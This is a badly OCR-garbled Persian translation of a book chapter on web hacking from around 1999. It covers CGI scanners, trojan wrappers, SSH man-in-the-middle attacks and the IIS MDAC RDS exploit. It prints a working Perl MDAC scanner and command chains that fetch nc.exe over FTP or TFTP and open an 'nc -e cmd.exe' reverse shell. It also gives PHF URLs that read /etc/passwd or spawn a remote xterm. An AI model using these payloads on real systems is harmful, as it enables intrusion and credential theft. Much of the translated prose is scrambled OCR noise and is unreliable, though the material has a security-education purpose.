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Popularity: 5
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Impact: 10
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¥ Souice ol http: /7127 0.0.1/welcome html - Netscape _ (O] x] I

<!-- The Welcome Ceanter home page
Note to programmers: be sure to use agreed upon directory structure.
fopt/html
/fopt/cgi-bin (try test-cgi or get.cgi for testing)
Jopt/test

-

<HTHML >

<HEAD>

<TITLE>Velcome center home page</TITLE>

< /HEAD>

<BODY BGCOLOR="H0000FF" TEXT="HFFFFFF">
<hl>Velcome to the world of web hacking.</hl>
<IMG sro="file:///c37C/temp/mtmovl. jpg">
<h2>This is a test, this is only a test.</h2>
<!-- 0ld password is "mytest". -->

</BODY>

</HTML >

<!-- Any problems or questions during development give me a call at:
800-555-1234 - me@welcome.com
-—>

Figure 15-1.  The HTML source can be a treasure trove of information, including directory structure,
phone number, name, and email address of a web developer.

test tpp - Telepot Pro ME=E
Fie Promct View Hebp
| D|S|RcF| | > I.IE"EI slolalalslalls]ls]=]
+ ] Me Filename Type Sae Date | Ud =
3] ndex him bt /it 5659 07/05M1339 hitp/N127.001/
sl hemi teaditrmi 23405 07/051999 hitp//127.00.1 /sl himl
—J o e tesdt Mt 6137 07/0511399 hitp://127 0.0.1/ 20 himi
—Jbsd himl teat il 12795 O07/051939 hipc /127001 /bsd himd
— dhgital htmi teat il 5063 07/051999 hitp/M127 001 /cigital bl
— hpus bl tedt il 11247 07/05/1939  hitpe /M 27 0.0 s il
—Jirochimi tet /it 12230 07/05/1999  hitp//127.0.0.1 /o himi
—Jrwae himl beactbrnd 38055 07/05/1933 hetp /127 .0.0.1 /rws himl
—Int htmi bt hiend 71683 077051939 hitp /127 .0.0.1/nt him
—J othes himi tet tend 34487 07/051938  hitpe /1271001 /other himl
—1scohtml et il 2225 07/051939 hitp/N127.0.01/scohim
—J sunos himi et htrml 23168 07/0511999  hitpe//127.0.0.1 /sunos himl
I newe himl et il 20100 0770571999  hitpe//127.0.0.1 /new. himi
—J st bl et bl 5659 07/05/11339  hapc//127.0.0.1/kst i —
—J autokzd himi st e 3450 07/05/1933 hitp: /127 0.01/autofsd himil
—Jbsh himi et rbrrd 1331 07/05/1933  hap /7127 0.0.1/bsh himi
— bugfiles hemi test /il 1474 07/05/1959  hitp: /270,01 /bughier himi
—J connect] himl st il 1687 O7/05M1939 hitp /7127 0.0.1/connect] htmi
—J connect2 himi et bl 2133 07/05N989  hitpc /N 27 0001 Aconnect2 himl
—Jcrontabl himi besct bl 1631 07/05/1999  hitp://127 0.0.1/crontab himi
—J dpsewec himi et bl 3[6 07/05M1933  hitp /127 001 /dpsesec. himi
—J ctaction himi [ ] 6573 07/05/1993  hitp /127 0.0 1/dacton himl
—J dttesrn htmi et bl 459 07/05119399  hitp /127 0.0.1/dtbesm hiend
—Jenet himi Yot bl 1528 07/05/1935  hitp://127 0.01/enet himl
—Jfp2 himi bt il 2424 07/05M1338  hitp /1127 0.0.1/Mp2 himd z
T - - -y mem e s - _"_I
Ready Ide 0 fles queued 48 fles read 6533 bytes/zec
Figure 15-2.  Teleport NT
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Exchsions ] Netiquette | Advanced ]
Summany FieRetievl |  BiowsngMimoing |  Exploration

C Eﬂ“dﬂuamﬂmm&ml' kilobytes n sze (ze10 = no imit)
@ Retrieve only fles of the types and szes (in kiobytes) ksted below

Category File Palterns: Mn|  Max
Text * hitm; *|htmi; *.bat; = shim; * shiml

Extra " asp. “cg. "pl. ".cfm Add I
Edt . I
Dot |

Retneval Modes
 Retrieve Java applets
™ Retneve only fle pames fLe.. produce a site map, but do not save the fles)

T ok ] coes | 0 |

g S SlelS ogai casd 4 aad e o5l Lut 4 ean T €lEpOTt Pro

Exchssons | Neagquette | Advarced
NOTE: Exclusions take precedence over any conficting project settings.
Do not save web pages, or fles inked from web pages, unless ™ Match case
those pages contain any of the keywords listed below. [You may
use * and ? as widcards: sepasate keywords with semicolons ] ¥ Match whole words
|"@": contact: updated: user™; pass™ database|

Do not retneve fles that match any of the DOS-style flename pattems ksted below.
[Sepasate pattems with semicolons: for example, * avi; car” pg |

Do not follow any links or gather any flles that match any of the address pattems ksted
below. [You may use * and ? as widcards. Put each address paltem on a separate ine.)
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“Script Kiddies” script
Popularity: 10
Simplicity:
Impact:

Risk Rating: 8
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phfscan .c

- 3bign g g S Sl 53 onigd ziie Slaghigm el Sl (S (903 pulys S T 390 50 (ke Sliz U Lo o) PHF (00,0
o3s aalS Slbls JUauil s 0ads jsliws Gl (pl L wies e o3l (5l web . Ol Olge @ (st (oo Sygtes 2l e plezles 4 (s
gy 5yl Bl (532005 055 g 992 0S8 5 s ke 55 53 58 6l ¢ L Sl 5 Linaaliy slasi e oL5sS j52 0,0 PassWord
g b1 T el 5l asliial cga - conn PAESCAN .C asl Wil (s i cngos
Bgcc phfscan .c-o phfscan

oler, o) Q] Al g (Cond S ol ggping 3 aS o lal adles o Lol ) 05 dzgi 4wl oo Lo a5 (Ul 51 Cened S ool @y pladl  0oged dax 3

e Iy 6 pduaas] g 0] 5o ST ol dalss i Los 4 asli 5 (phfscan ) s, b LG o ass 1> o i hos.phf s s

cgiscan
J5hate 4 mins < (03,5 57ie) ialom Cugz 00l sl 1234 Jlu ;o Lou ) Brone Buster L.y a5 Ly S5 00 SO cwn cgISCaN
slaws s nph-test.cgi , Webdist.cgi , Handler , PHP , Test.cgi , Count.cgi s PHF :sic 4 w03 sloc Sl 51 solass s iy

ol l—ag )5S pls jo den R | al, 092 S (s S b el
L5yl Wl asiS Cawys [l CEISCAN <y 15 45 - &S (5 0 00 |, Ll a5 oS o o 5 (MEEP://192.168.51.101/cgi-bin)
[:J [root@funbox-b chl4] # cgiscan www.somedomain.com
New web server hole and info scanner for elite kode kiddies
coded by Bronc Buster of LoU - Nov 1998

updated Jan 1999
Getting HTTP version

Version:

HTTP/1.1 200 OK

Date: Fri, 16 Jul 1999 05:20:15 GMT

Server: Apache/1.3.6 (UNIX) secured by Raven/1.4.1
Last-Modified: Thu, 24 Jun 1999 22:25:11 GMT

ETag: “17d007-2a9c-3772b047”

Accept-Ranges: bytes

Content-Length: 10908

Connection: close

Content-Type: text/html
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Searching for phf : . . Not Found
Searching for Count.cgi : . . Not Found
Searching for test-cgi : . . Not Found
Searching for php.cgi : . . Not Found
Searching for handler : . . Not Found
Searching for webgais : . . Not Found
Searching for websendmail : . . Not Found
Searching for webdist.cgi : . . Not Found
Searching for faxsurvey : . . Not Found
Searching for htmlscript : . . Not Found
Searching for pfdisplay : . . Not Found
Searching for perl.exe : . . Not Found
Searching for wwwboard.pl : . . Not Found
Searching for www-sgl : . . Not Found
Searching for service.pwd : . . Not Found
Searching for users.pwd : . . Not Found
Searching for aglimpse : . . Not Found
Searching for man.sh : . . Not Found
Searching for view-source : . . Not Found
Searching for campas : . . Not Found
Searching for nph-test-cgi : . . Not Found

[gH] - aka gLoBal hElL - are lame kode kiddies

597 = ,bLaisei=
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Popularity: 10
Simplicity: 10
Impact:

Risk Rating: 8
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Grinder
3 G S 0,8 AalsS g 4 col WIN32 5,15 asl s < RhiN0O9 Ly (http://www.hackerselub.com ),y L% Grinder
e ) ools HEAD [jgiis &3l sl olis ) s e (3155 (o> WED oo 3L Lo Lo 5 ol 0,5 aalys g 1) [P Lo o
WS 45 wms oo HLa 10-F S5 L ailse o pll 4 0B a e (L s - ylai e Sbm] S0tz (jlee sleS s . Grinder L metcat s, Soslil

.COM
cand e 13 WED Cules 5,5 o me 1o 1y o Sl (30,5 sxin 45 ¢ 3,13 3g2g UNIX oo WED 5 o 385 00l sl 6,500 il
(http://www .hacking exposed .com)
Pl a0 o )led 5 6l g (28 0 ok Sy web sors 405 el WEHEAD jois ol ol lacs sy Ll 3 80 o psy 51
5,8 aalys 6 ls pases <Name>/<name>.http L
FoS edalie 5 aeliy 3 0 Seien i 0g wilsi oo L
[:J ./unixscan.pl hosts.txt ports.txt test -p -z -r -v
Once complete, the dump file will report the web server version:
172.29.11.82 port 80 : Server: Microsoft-IIS/4.0
172.29.11.83 port 80 : Server: Microsoft-IIS/3.0

172.29.11.84 port 80 : Server: Microsoft-IIS/4.0

*. Gnnder v1.1 - Rhino9

URL: |/index himl

Tnm!ﬁﬁ—_—'—m Paﬂsm:'fﬂ?“
S ol R Tl ol o

GRINDER

Scml

10,0240 35 Access Derved Secure Web Server 1.1
100240 43 Access Demed Simple, Secure Web Server 1.1

Figure 15-3.  Grinder can be heipful in finding large numbers of web servers and their
software versions.

Site Scan
e 4 0y 6 pdoan] Gogeioatie g (33,5 Se by GIINART I sras glaw o 05,5 0> « sas asys chameleon L_.s Site Scan
315 by 5 0,5 ks TP ol S daid wlgs s« el WIN32 o a5 358 GUI g0, 5 asbi oy . o, %00 5 Test.CgI , finger , PHP , PHF
- S9din GBI S bt s sk 5 (o 4iBs 5o 500 TP (gla 0T again ly 4 catls salss plas Lo L al o Sme Lo Sl STl o ot
el o905 6 piyone] 51y e WED g iolesT oolizal 4,05 Site Scan jshs aas o oles 10-F s
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Whisker
ol osliiul e lply et perl e ,, Whisker. .l Rain forest - aly, Whisker ¢y ;5 coiel soxS sz VT 0 5l oS

( mols cys http://www.activestate.com cule ;i Active perl L) . oy )ls sgs 55esls 55, POIT auass & zlos Lo
SCIIPt b bl ol os walys Lol sla foalygiws 4z 0 o S 5 ol padiue ¢ i S sLebild 5 Tz ¢ 3ls oo 90 Lulul Whisker
51 scan.db L wie JSin 558 Luns a5 0T oo SCTIPL ools slacsil wedas o L Whisker . w s db wisey 0 5 el suilys1,3 1, databases

e g 59 e Ceal ol el (bl jlediey

i SiteScan by Chameleon Rhino9/InterCore

Server

PHF
[foo2e03s st |
CGIScan Status:
Beging explot orc 10.0.240.35 Save Resuls Ent
Resuls:

Forbidden

You are not permutted to access the remote system

If thus 15 an error, then you should contact your local firewall admmstrator

Figure 154. SiteScan offers a nice GUI for manually finding popular web vulnerabilities.

cans e ol | SCaN.db gun Sy B o) Sz (S5 jgaie 0 o ply 0 WhiSKET ol o) 568> el GILI slacs>
> whisker.pl -h victim.com -s scan.db

- - whisker / v1.4.0 / rain forest puppy / www.wiretrip.net - -

= Host: victim.com

= Server: Microsoft-IIS/5.0

+ 200 OK: GET /whisker.ida

+ 200 OK: GET /whisker.idqg
+ 200 OK: HEAD / vti inf.html
+ 200 OK: HEAD / vti bin/shtml.dll
+ 200 OK: HEAD / vti bin/shtml.exe

c Gl 03,8 aseiia |y Sles Syl slebls b )b IISS s ;s WhHISKET a5 o558 az sie wilgs oo Lo ¢ osles oSl ol (9,5 9903 inlesT L
Sl skl ks Whisker.idq , Whisker.ida o s mbs ) - o5 oo cainlas IDQ g IDA lelis U as ISAPT sl il e sn oo
Caiel LIS Sl Heam a5 el (Sags ) WHISKET [g350 Sy comle il (G 5550l ol iz ol oledliie 4y ool dims oo Lis 45 it

oS o S CGI scanning sl slo )l acsle Cow s 1) polas ouds axslis
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sceript database language) e s 8ol ol L ol 5 e 51,5 ;s Whisker <., s

el b3 el g e 00 )50 Sy Les CUStOM SCTipt database jig oss o 56 & tools L as Whisker. Text L

Whack — A — Mole

b Lol LBy 63,8 b o a5 355 o0 ounel Whack — A — Mole a5 wsb o o3t o NetBUS ol aes Jsos il SO« Jlie sl o
358 e b 5093 O yge 4 WINZIP lawgs a5 asl oo L omen 5wl o Whack Mole.exe

F S e Sl Al pame ool o 5,50,Li] 5 WS e weas €XplOTE.EXE lsie 0 |, NetBus ;.. Whack — A — Mole
HKLM\SOFTWARE\Microsoft\Windows\Current Version\
o9 oe 1y e oS b e 0 NetBus 5o lal alauls
ok Whack — A — Mole ... Selosiis 1 3590 53 Lads 45 O0PS ) wdly o o5y dhwg S wisile buii> 5 Whack — A — Mole

Bosniffer
3,15 0925 sl w51 DACK AOOTS 115 i S 51 (0,5 6,55l 51 g 0,31 0 ji008)] (sl 0, 4>
......... owil a2 a5 4l Cblge ¢ 5930 oarel Bosniffer . Back — orifice s

o5 S BO lajlusssll fax wiile ls oo o] ¢ ailiseisgs

eLiteWrap

cailn (o pws BB 5 Cule o a5 sl €LiteWrap ail, LTTojan sbxl gl oxex asby
http:\\'www.holedeck.f9.co.uk/ eLite Wrap/index.html

S g izl 90 ol 5l ot 59y 2 b 035 oo )l ez Sl I Wl i 5 05 oo IS (rez el S o Ll 5l olaw g0 Spaz L el 0
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c:\nt\ew\elitewrap

eLiTeWrap 1.03 - (c) TOM "“elLiTe” McIntyre

tom (@ dundesscake.co.uk
http://www.dundeecake.demon.co.uk/elitewrap
Operations : 1- Pick only

2- Pack and execute , visible , asynchronously
3- Pack and execute , hidden , asynchronously
4- Pack and execute , visible , ynchronously

5- Pack and execute , hidden , ynchronously

6- execute only , visible , asynchronously
7- execute only , hidden , asynchronously

8- execute only , visible , ynchronously
9- execute only , hidden , asynchronously

Enter package file # 1l:c\nt\pwdump.exe
Enter opration : 1
Enter package file # 2:c\nt\nc.exe
Enter opration : 1
Enter package file # 3:c\ntlattack.exe
Enter opration : 7

Enter command line

Enter package file # 4
All done :)

kb s a5 L1, me.exe)Netcat  pwdump.exe kbl ses o 1! 8 45wl acsls bad.eXe b ay Lb sl Jls s b ls

: y ile wles oo 1,211, attack.bat glaas
pwdump\nc.exe —n192.168.1.13000
aalss oy 2l o o 1) slael o n) siws . wles SU oly>l asliy o |, CLILEWTAD (slael a5 w8 igel 3 wrlen 51 0s wnlys oLuls Elitewrap

10,8

c:\nt\ew>find “elitewrap”bad.exe

elitewrap V1.B

Windows NT FPNECLNT

Novell Net Ware slagas b jo, olls s locnlean 4 s el oads cas NT 510 69, 5 s FPNECLNT.DLL wisbss « Jio sl
sl

ol oads 4 SAM. (gl 5 0iS o 6 T ol wigd LaFhe, LesT aSul ) L 5o, SlelS @l psze 5l DLL ()

PSS e I ) e g Al Ay (L s o ] e, SLaS s i la alT S cl sa ssbiw b e il 4 Jlis gl goaS
c:\Temp\ PWDCHANGE .OUT

ol e plainText 5o, s oo glcay @y ooy Wlgs oo 45 cnl 4l

FPNECLNT Trojan
cél, Yosystemroot%system32 s a5 |, FPNECLNT.DLL LG .« 6,5 Sinlbon NetWare b U NT 5 1) 1, cls 51



s awled ~S> Py o )\3|) 441’)*47‘-" 5999 (e aples ‘SL‘ Q}‘”G"
Hkey — local — Machine\system\Current Controlset\Control\Lsa\Notification
cowmles LI, FPNECLNT w,

Secure SHell(SSH) wyt>

il e il a8 (55, JUI L g0 o 51 a5 Sl 5T sl> sl s9ap0 SS5s S SSH
Traffic

Popularity:
Simplicity:
Impact:

Risk Rating:

DS W

Timing Analysis of lsc U1, —bs . cosalls o5 uls ,» Xuqing Tian . David Wagner . Dawn Xiaodoxy Seng
sl oo SSH US55, 9, 5 1, silises trAfTIC slaa s Ml s> 45 wilsges ,2xie TIming Attack on SSH , keystroken
(http://pairs.cs.berkeley.edu/~dawnsong/ssh-timing.html)
Ca3 oo ialei | ey olelS Jsb a5 wig 1, s 15 o Dug Song , Solor Designer
(http://www.openwall.com/advisiories/ow-ssh-traffic-analysis-txt)

Traffic

traffic sloa o CMeam 5l 6 ko sl oo baools o alisee JB slgul . wil oo o yiws BB Lo o5 s SSH Gl gla g s 611 sloasli s 4G
- g plol oS Jsbo 4y (85 Al syles 6 S ol

MITM(Man-in-the-Middle)

Popularity: 7
Simplicity: 6
Impact: 8
Risk Rating: 7

ol e SShMItM 2l a5l 6, S Jolid a8 ol oot &t digs 15 Gl 5o (wyiws B3 Laasl s 5, S Dug Song
(http://www.monkey.org/~dugsong/dsnift/)
cand e Sz g ol Clyz b g w5 e il s Client 11, g5l 5w o SETVET g client o asly o)l & g0 4

Man-in-the-Middle

SsShmitm Leug 125,55 )18 psmd 3,00 5l s 5sls 6l Slol s ablie sleal, SSH liee s (sl o0y ssliiul ages slooglS oo, 2sS

395 oo Lasle WEbMItM Cil> ) ale> Client & oraso Lusl 5l oslial b fuimmen 3 a8l o
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key Recovery
Popularity: 5
Simplicity: 4
Impact: 5
Risk Rating: 5

5503 Sl 38l53 o tTATTIC LLaS5a) sl Wil oo oS ol Criomon 5 wulod 2S5 o ooliiel SSH 655 (61, a5 1) (soudS oSl s ala> o
L 0 oolatul

Key Recovery
S8l b 1y S el Wl o 2 4 S8l 4y IS ol el b5 015 a9 ) (35 4 b SSH S5y (61 e (5 ] o
checksum

(14-3 Jgaz) 25,10 0525 s slopsly slanl yslas sl sl i Jl3) iz

b SS Blas 4 5L YU Jgaz 50 0ol Cened (slaasl pass o] dea 15 a5l |) aie (glapivs o (g yiwd 4 5L e am « oo g BT jo b 4
Ly Sass )l (55, 5l o 3> L Rebbot

Popularity: 10
Simplicity: 10
Impact: 10

Risk Rating: 10

SLSaSS Cariie Ll 5l ams eleim! owaige . abl oo a8 i 0,5 S laSiST ¢ 0403 pudlyS on T 0590 50 Gidu ol ;o Le a5 egSge o S
casled oo o 1) i SleMbl ay g el 53 5Ty g solaial
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Gk 5 blsyl i b 5 ol il il e ol ol 51 (sl . i o LSS K00 Slidos by andlSe )b 5l legi 3 5 el
s S LS L g wsb email sl

e 3 bl slaces b a5 legi plojl b 51 S0 08 o elotz] ciige Mo (350 y5bo @

Goare 8yl sogzminr 53,53l Jio ) wilhige JSie o LT 51 (6555l § sty oo o UNDOUNA Lol 51 ms ¢ losls gy 1y sk <Moo Lo
Fpmleiion S 2 50 5l Sy g0 ek Fge a5 Lacly (n g ¢ wdlos (e 8 (Silme Dy (lei] (pwiigs dlen (e gy pa b ablie wix e

data leakage ;55550 ¥

) e )lS ab sl 4 oals slpdlgne wile aily 4nils agee oMbl il ass 5 3,5 Olxaon 6] Gloals pame « coges SeMbl sSoLe Ll o
¢‘John Smith s> 4, Zone Administrator Ju. s,

S (5 (ST slaaali a5 sl (s3le s s T

233 o5 3] g rms 830 a3 YL

Inbound s & cs,sTOUtET s J 5 s Outbound firewall s ooiis O

R RURCPIE KA W PREW]

el Lanme slaasly a5 o0e] A

s (Input Validation Attacks) : script s o sl L 2l e
S5 3es oo )L 5, CGI .l 2l ;o4 S 63955 L Ml L el S e o |
s (Active Server Pages) ASP (Common Gate way interface)

SloSLy elial 5 ool 5l ol JSie . 5,5 oo a2y, Vendor failure , eoiss ay ;i (cold.Fusion Mark up Language) CFML
3 e 5L LABSCTIPE S 5y (39,5 Sledlbol
o g e Wl el S Glste (e g oliege (B85 5 oiug 9 ,Slas Sy 0g wmls 3B razles il LuS 5 5395 DML lisl S g

sl anals e jeka T 2l sl 9

11s4.0 MDAC RDS é
Popularity: 10
Simplicity: 9
Impact: 10

Risk Rating: 10

eXPlOit Lo b Vs> olo 13 i jgome cailug, Sl 1298 Jlo o595 50 (IIS) ass stedbl 5o o IISHACK U i) jo a3, 51 ey alolidl
e 0ad yiie 1494 Lo o a5 Microsoft Security Bulleting cilu sile el flos 10 33 St ol - 0iS LS 5L g5 o 50 oS pigis
s 4l an JLSy seges &y (CANNEd €XPLOIL) ouig i 15, S Ll ¢ 55 00l Cirogs

,ole L (Microsoft Data Components ,s Remote Data Services s o, 5l ools wloas ) RDS jaie 5 s 4 5l s piyons
oS ol Kl g S0 @i 0 S ez lis w83 s 05l a5 555 e 36 (MDAC)

g - wsd Jlo)l TIS g 4 a5 00 0l o)1 490 ol 51 Slygiws 4 ] 80435 i oo,y o - <o RDS Datafactory Gos b Lol alle
B olws 50 ol 5l canl 0B parlpe 4 sl cixe oy (] 058 oo Cgusne died aB MWalS™ (6 i digos jobas a5l 4o . Wgd oo Lzl Hgm Jge )5 S lgin
ol ansls Lo dig8 120 (s pducam] gy o 4 ol

el oS el sl sa sy Perl sproof — of — concept |« a5 . Rain.forest.puppy
I, s 5 w03 oo ) Dtcustmr.mdb s, 450 database <, 1, RDS colgs s (095 1,21 5 s5lalel, hittp://www.securityfous.com
il e (s 455 l5) L user — supplied ;s < sl a bl

I o8 4508 S5 pdlyi o Lo ¢ ylodlysds 3,90 55T B dgs )by s NETCAL 151 50 b ol (Lol ()8 Lot 8Semds 33 i dycmal (sl g 53,5 Ty
cd> o HTML s “Content Type” as.:s, msadces.dll by DLL < sgzg - 1S oSl pducamal s <o oz irdes oe 50,5 sl o
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aaS 5l ages wiz bl o il S o ) pdycam] g S Ladh 45 1z (duoyois 45 Lol ) axited Cg3 &l il « 09,5 0 - - a@pplication / x- varg”

#! /usr/bin/perl

if (S#ARGV < 0) {

print "Error in syntax - try again." ;

print ":

doit (SARGV[O0]);

foreach $item (@hosts) {

portscan ($item);

}

close OUTFILE;

sub diot {

$line = S _[0];

if

(Sline !=/#/) {

mdac.pl 10.1.2.3-255";

if ($line = ~/-/) {
@tmp = split/-/,
@bip = split //,
RQeip = split //,
} else {
@bip = split //,
@eip = split //,
}
$al = Sbip[0];
$bl = Sbip[l];

$cl = S$bip([2];

$dl

Snum = Qeip

’

$bip([3];

if (Snum = = 1) {
$a2 = $bip([0];
$b2 = Sbip[l];
$c2 = Sbip[2]1;
$d2 = Seip[0]1;

} else if ($num = = 2)
$a2 = Sbip[0];
$b2 = Sbip[1l];
$c2 = Seip(0];
$d2 = Seip[l];

{

Sline;
Stmp[0] ;
Stmp[1];

S$line ;

$line;

iss S 0 S pduae] Gl 5o STa Ce wlsi e oS, perl
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} else if ($Snum = = 3) {
$a2 = $bip([0];
$b2 = Seip[0];
Sc2 Seip[1l];
$d2 = Seip(2];

} else if (Snum = = 4) {
$a2 = Seip[0];
$b2 = Seip[l];
$c2

Seipl2];
$d2 = Seipl[3];
}
# Based on the ip subnet (Class A, B, C) set the
# correct variables.
check end () ;

Saend = $a2;

# Create the array.
while ($al < S$Saend) {
while (Sbl < Sbend) {
while ($cl < S$Scend) {
while ($dl < S$dend) {

push (@Ghosts, "$al.S$bl.S$cl.S$dl");
Sdi+=1;
check end () ;

Scl+=1;

$d1=0;

Sbl+=1;
$cl1=0;

Sal+=1;
Sb1=0;

}

sub portscan {
my Starget = $_ [0] ;
print "Port scanning S$target.";
local $/;

open (SCAN, "nc -vzn -w 2 $target 80 2>>&1 | "); # Port open
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$ result = <SCAN> ;

if (Sresult=~/open/) {

sub check end {

if ((sal

} else {

}

if ((sal

} else {

}
if ($Sal

} else {

print "\tPort 80 on S$target found open.\n";

print OUTFILE "Port 80 open\n";

open

(HTTP, ">http.tmp");

print HTTP "GET /msadc/msadcs.dll HTTP/1.0\n\n";

close HTTP;

open

(SCAN2, "type http.tmp | nc -nvv -w 2 S$target 80 2>&1 |");

Sresult2 = <SCAN2>;

if (Sresult2 = ~/Microsoft-IIS4.0/) {

}

if (Sresult2 = ~/x-varg/) {
print "S$Starget IS vulnerable to MDAC attack.";

print OUTFILE "Starget may be vulnerable to MDAC attac.";

close SCAN;

Sdend

Sdend

= = $a2) && (Sbl = = $b2) && (Scl = = $c2)) {
= $d2;
= 255;

= = $a2) && (Sbl = = $b2)) {

Scend = $c2 ;

Scend = 255;

= = Saz) {
Sbend = $b2;
Sbend = 255;

o 5k awes Liles pleys s (gg, sids, 5 colo U1 TP Sles Lt astul oy neteat’s — noag 5 o )15
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ysecurityFocus i ¢ http://www.ntbugtraq.com) NT Bugtraq 5., lls a5 oled=e 511, (perl) U, (SCTipt) wilgs o Lo
58,5 4 5ol g 058 e Lxl NT o UNIX ) 5550 5 sl I8 4 SCTIPL . w5 o download . s (hittp://www.securityFocus.com
(shell L Luls L MADC ascds . syloi oo SQL 52500 2o 4 “Ishell(Scommand)|” opvse U op3,5asLsl ey MADC
P oS el | B3 (65 By ¢ (8 pdvom] S slatar . s o 21 4 Scommand el sss 4515 command)
> perl madc_exploit.pl -h 192.168.50.11
- - RDS expolit by rain forest puppy / ADM / Wiretrip - -
Command: <run your command here>
Step 1 : Trying raw driver to btcustmr.mdb
winnt -> c: Success!

s 6 s (5 z,> ol on 4 ) Nilesh Dhanjani g els fgels . coul (2o cnl ole g jeolais coond e 1zl 61y NT jgiis mems b,
s o e 4 |, (€MA.XE ) NT Lo b alaly s « 0SSl 5,5 wals> 1,21 s download 1, netcat s FTP s TFTP ) wijole 5 ils
0 loetal 1) 05 lgins wilgs oo FTP (g0 )5 @l s (6 Sy 51 ooliial (sl Jlo lgin.

rl:;r systemRoot && echo $ftp user> ftptmp && echo ftp pass>> ftptmp && echo bin>>
ftptr=*& echo get nc.exe>> ftptmp && echo bye>> ftptmp && ftp -s : ftptmp $ftp ip &&
del ftptmp && attrib -r nc.exe && nc -e cmd.exe Smy 1ip Smy port"

P gl | 5 iy wilios TETP lygins 51 6150 00 sl s

[:;r \%$SystemRoot\% && tftp -i Stftp ip GET nc.exe nc.exe && attrib -r nc.exe && nc -e
cmd.exe Smy ip Smy port"

8 dilgy Al . ales sl gsel, pien o o olod anly S sl (POTT s0ss Lugicns @ligins ) Jp SCTIPE J3 &l jgiws ol 5l ooliiul cog

ol—Lanman (NT ;i .55 sl cg> SAM hashes dumping a6, ) ozt Pwdump2.exe Jols as1, LG sl

col Soe firEWall 25T s/ (TOULET Yol pnne K s « 55,5 920 51 a5 Upload s g4,5 5l JOhn V1.6 , Lophterack
.o o> TFTP (UDP port 69) ¢ (FTP) Tcp port 21 5,5 sl 590 5 1, Lot

MDACRDS =)

sekiie cpl s auled sl yapm 50 Camdg b iyl s K e sl Bds | (Sl slagSIl L laaiges pled o 0les o Lo ¢ (5 ds ol 8 5l

1)) gl b (6 0SS ol iz pled alys e
(http://www.Microsoft.com/technet/security/bulletin/MS99-025.asp)

CGIl

Popularity: 8
Simplicity: 9
Impact: g
Risk Rating: 9

s bl 5 BT L ol iy vt (Ses Sl sbis . axil Lelols ol o 1y wls CGI sle SCTIPE jo 15 108 sloaitigh ¢ ;8L (aiipy) o a5
20 A ye5 oo il sl 00,5 dloul (6 IS01,5 5 3585 L yg s g A ey b ple ST 4T ol 5 slen boe LT cemgianl 0 LB aimsanwg 45 ola g,

Sl nlys wngs 5Tols sl LT Lz Sl 1 6950 5 eeetin s 9 o 4 CQT agas iyl Ji510 50 10 (5 lke G5 ol


M.Amin Najafi
605

M.Amin Najafi
605

M.Amin Najafi
605


Hacker 2%

(PHF) é
~asb (1.0.3 i) Apache HTTPD 50t 5 (5 onos

£l g ool Sledbl 55,8 o (512 il dbes dxio gy 5 b suleise sl (fOTM — based) b o3 S a5 sy aises SCIIPt S CGI el o

&l 5 5 SCTIpt as )|l AT S soli |
35y aly3 3] s e Slygis 12l 6l o] 5eSlon b S e pemd Lol 1 ayled oo salitl sy g J S e €SCape-shell-cmd ()
SCIIPL 52,5 5 oo, sl Wi oo 5 Conl 00 (5 (539,5 oMbl Lael Jyus sCript s ¢ “) L (oxoa in hexadecima) jlaw ags zST)S
s delST L6 55 URL Jle Glginr . 0,25 18 eslitl 0550y g (55550 by, o 0 SIS olay 5 208 5l aa shz e 0812 sl by 525055 5
P3jlaee ol ABb asls |y Bl 4 3959 B2l jgm g 80ST2l )5 ST, (SiSbe o
p://192.168.51.101/cgi-bin/phf?Qalias = x%0a/bin/cat%20/etc/passwd
Fojleios ordgy (W)l 228 sl piucaSE P ool 6 LT Sl (5,3 L) el ool sl 4 sl ) X oMlasl b o jbe oty 55 URL
@':// 192.168.51.101/cgi-bin/phf?Qalias = x%0a/usr/openwin/bin/xterm%20-
display%20172.29.11.207:0.0%20&

http://www.oliver.efr.hr/~crv/security/bugs/mUNIXes/httpds.html
S ol |,

PHF @

L0, 0 Lads sl (609w g ygpmw dg HOSCTIPT (09 . casled jg,m g 5l SCIIPTE i Soluy ¢ (ahad (6, Kty 09 ¢ (6K
Joly o b rl Lad cnl by 5 ol oa slgg Ly ol S5 )3k Sl clezanlie arinis slgaimms ploos Ly (39,0 PHF o5 a5 ot

el el IS ol
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Soslanz Crmerls 5,150 Slodbl § 35 oo Las alos i o Lol ¢ 5,5 o Jos dhos a5 a55Siled amlos 4 o9S5enly ¢ 05 e Jee s ,Seul PHF Jus

S G Jlagl B8 cpl ates jgea 5 Cualels b ST 005 0

NI/
Irix CGI é
Ly V22Y s o (5w mesST0 ols3l, ) Razvan Dragomirescu Ly Bugtraq o, v o 3 Irix CGI saisso ol 5,0 d ]
alox (539,5 leMbl 1S 4 45 Eel iy sl (sladeli 51 solans Jalis o8 winamms sz OULDOX ¢ ITIX (gloaionns 31 ()l 0 45 2L, ol . 595 o0s

JUssl SCTIPE & 1) oee &lygins a5 aimd sa |y Cuo b ol mozloe 4 ITIXS X&O.X Lolis slos Sl suiilivgs 5 oS o ol . Webdist.cgi . ws

Sitel g o9 25 51D 05 155 soliiul 3,50 UNIX jgee &adS s w30jb e Wl py URL L ai ol o 1ol 8o o & ngn 5 (oo jokas | LT 5 aias
(sl sl 1, conlie

http://. 192 .168.0.1
aleise e [y 1D il ST “<Tab>" oo, 150 o051

Irix CGI (e
G5 51 o5 s o 5l 6Kt yokaie 4 Slostions 59, 51 |, LT (Solew ¢ wils eslizul cl> s SCTIPE N qUESHION 1. aian axil >
511, SGI Patch wilg oo et « w9 Bis asilgi_os il 51 aiS Bis )]
http://www.sgi.com/support/patch-intro.html
- suiles gl el
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cgi Test — cgi ¢

O5 69 595 oy 5 bl suucem 168 8] erln 4 TESE — CEI (6 piyncnl « ol oats 431 1285 JLu o LOPht 655 Ly —ogas jobny L3
(cgl — bin — script directory s Ly 55l 5 kbl ples 5 aslg oo crmozles « 53 URL jloslanul v Jle olpss . amas o |, (i3l sla g oo
£ 85,5 o) DIN)
http://www. 192.168.51/101/cgi-bin/test-cgi?*

sols walgs oLz |, QUERY  STRING L ysie 5l (29,5 bt

QUERY _ STRING =count.cgi creatueser.pl nph-test-cgi phf php.cgi search.pl test-cgi
wwwcount.cgi

PHE Jeae s )15 5935 L 9,0 05 595 65503 mdvonm] oliws bl a> 45 03550 crelis 4 il o Lot LaSCTIPE aloas 51 pals peend ai ]

1 st UNIX g @ glate Si5le ok a5 )15 5 4t 9590 (oliiws 05,06 (razlnr Slmw pdyoa] sWSCTIPL 5 iy &L . o,ne s PHP
